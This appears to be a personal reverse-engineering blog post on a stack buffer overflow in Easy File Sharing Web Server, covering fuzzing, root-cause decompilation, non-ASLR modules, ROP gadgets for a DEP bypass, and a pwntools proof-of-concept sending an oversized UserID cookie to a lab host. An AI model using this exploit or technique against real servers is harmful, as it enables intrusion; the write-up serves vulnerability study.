# Lets learn Reverse Engineer 2!
###### tags: `reverse engineering`, `windows`, `pwn`
This time, I will be doing RE on Easy File Sharing Webserver.
It can be downloaded here:
[https://www.exploit-db.com/exploits/44485
](https://)
We start by tracing the recv input.
```
bp ws2_32!WSArecv
```
## RE Documentation
1) At `0x415063`, scans for frmUserName in the http request. Offset to string is returned in eax.
The check seems to be done at `0x4FA250`.
2) Initially, Username and Password are pass through http request as UserId and Passwd.
At `052D857`, userId and Passwd is changed to frmUserName and frmUserPass. It is copied into the heap here.
```
004fc323 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
```
3) As the binary is too big, I decided to do some fuzzing. The crash is easy to trigger. I copy and paste the HTTP request from WireShark. And then increase the len for one of the parameters (in this case, userID)
![](https://i.imgur.com/X447oCc.png)
Nice, we got a crash, and exchain has been overwritten.
However, lets get down to the bottom of this, why is it crashing.
## Root Cause Analysis
After narrowing down, the crash is when the database is preparing its SQL statement (`0049759E` and `0049758A`)
At `0049758a`, the prepare statement is copied onto the stack.
`0049758a` -> `00500640` -> `00500E44` -> `00500DDE`
Damn, this stack buffer overflow is nicely obfuscated. The stack is written one character by one character in the highlighted line below, where **edx** is pointing to somewhere on the stack.
![](https://i.imgur.com/C7yjrfa.png)
![](https://i.imgur.com/C8yiJfm.png)
Final decompiled version of the vulnerability is here.
```
int __cdecl write_string(int a1, int length_to_write, FILE *poi_UserBuffer, int a4)
{
int result; // eax
int i; // ebx
int UserBufferChar; // eax
result = length_to_write;
for ( i = length_to_write - 1; result > 0; result = i-- )
{
UserBufferChar = *(char *)a1++;
result = write_char(UserBufferChar, poi_UserBuffer, a4);
if ( *(_DWORD *)a4 == -1 )
break;
}
return result;
}
```
This vuln is much easier to find if we fuzz it...
I guessing the learning point for this exercise is to take note of places that write into **stack** even though it is **written one character by one character**!
## DEP Bypass
Output of `!load narly` and `!nmod`
```
00400000 005c2000 fsws /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\fsws.exe
00730000 00775000 SSLEAY32 /SafeSEH ON /GS C:\EFS Software\Easy File Sharing Web Server\SSLEAY32.dll
00a90000 00ba7000 LIBEAY32 /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\LIBEAY32.dll
10000000 10050000 ImageLoad /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll
61c00000 61c99000 sqlite3 /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll
```
ImageLoad and SQLite dlls are not compiled with ASLR, using these DLLs will allow us to bypass ASLR.
### Failed Attempt in going the SEH way...
I found a few useful gadgets in ImageLoad dll but sadly there are NULL characters inside...
In order to do **SEH+DEP bypass**, we need to do a **stack pivot**. Gadgets usually look something like this:
`mov eax, esp+XXX; call [eax+XXX]`, where eax points to some second gadget in your buffer. The second gadget will then do a `xchg eax, esp` for example.
Documentating some useful gadgets I found:
1) POPAD -> eax and ebp actually contain the address to buffer!!
2) Look for gadgets around +/- of ebp and esp. There are actually a lot of the buffer address in the stack.
3) Jmp dword [reg]
4)
### Challenges
1) Doing ROP with SQLite.dll is quite a failure. Most of the gadgets end with `leave; ret`. This basically `mov esp, ebp`, and mess up the stack frame...
2) Even the ROP gadgets in ImageLoad.dll are bad too...
After running the below exploitation POC for a few times, I noticed the ESP is the following values in the different crashes.
### Crashed esp values
```
02ea72a4
02e772a4
02e072a4
02d972a4
070972a4
02c172a4
```
### Exploitation POC
```
from pwn import *
p = remote("192.168.106.136", 80)
#Bad char = \x3B
HTTPReq = b""
HTTPReq += b"POST /forum.ghp HTTP/1.1\r\n"
HTTPReq += b"Host: 192.168.106.136\r\n"
HTTPReq += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
HTTPReq += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
HTTPReq += b"Accept-Language: en-US,en;q=0.5\r\n"
HTTPReq += b"Accept-Encoding: gzip, deflate\r\n"
HTTPReq += b"Content-Type: application/x-www-form-urlencoded\r\n"
HTTPReq += b"Content-Length: 86\r\n"
HTTPReq += b"Origin: http://192.168.106.136\r\n"
HTTPReq += b"Connection: keep-alive\r\n"
HTTPReq += b"Referer: http://192.168.106.136/login.htm\r\n"
HTTPReq += b"Cookie: SESSIONID=31069; UserID="
payload = b"\x41" * 4071
payload += p32(0xCCCCCCCC) #0x100238cc: push esp ; and al, 0x10 ; pop esi ; mov dword [edx], ecx ; ret ; (1 found)
payload += b"\x42" * 40
HTTPReq += payload
HTTPReq += b"; PassWD=bbbbbbbbbbbbbbbbbbbbbbbbbbbb; frmUserName=; frmUserPass=; rememberPass=202%2C197%2C208%2C215%2C201\r\n"
HTTPReq += b"Upgrade-Insecure-Requests: 1\r\n"
HTTPReq += b"\r\n"
HTTPReq += b"frmLogin4app=true&frmLogin=true&frmUserName=aaaa&frmUserPass=bbbbbb&login=Login%21\r\n"
p.sendline(HTTPReq)
p.interactive()
```
## Exploitation Technique?
One way I thought of is to do brute forcing of the stack value since usually in a stack overflow, we also overwrites into ebp. Sadly, this is not the case... Looking at the registers, thankfully, we have ecx!
![](https://i.imgur.com/owZF3um.png)
So we can overwrite ecx with a **predicted stack value** then using the following gadgets, we can jump into our real ROP chain.
```
0x1001fa0d: mov eax, ecx ; ret ; (1 found)
0x61c05e59: xchg eax, esp ; ret ; (1 found)
```
I have uploaded the dll and rop file onto github. If anyone who reads this and is able to generate a good ROP chain, I would love to exchange some ideas with you.
Links below:
https://github.com/cddc12346/RandomCTFs/tree/master/Some%20notes%20on%20Windows%20Internals/I%20Love%20RE/Easy%20File%20Sharing%20Web%20Server
# Takeaway
1) **As usual**, always take note of places that write into **stack**.
2) Play with **Flirt** Signature, might allow you to identify some calls.
3)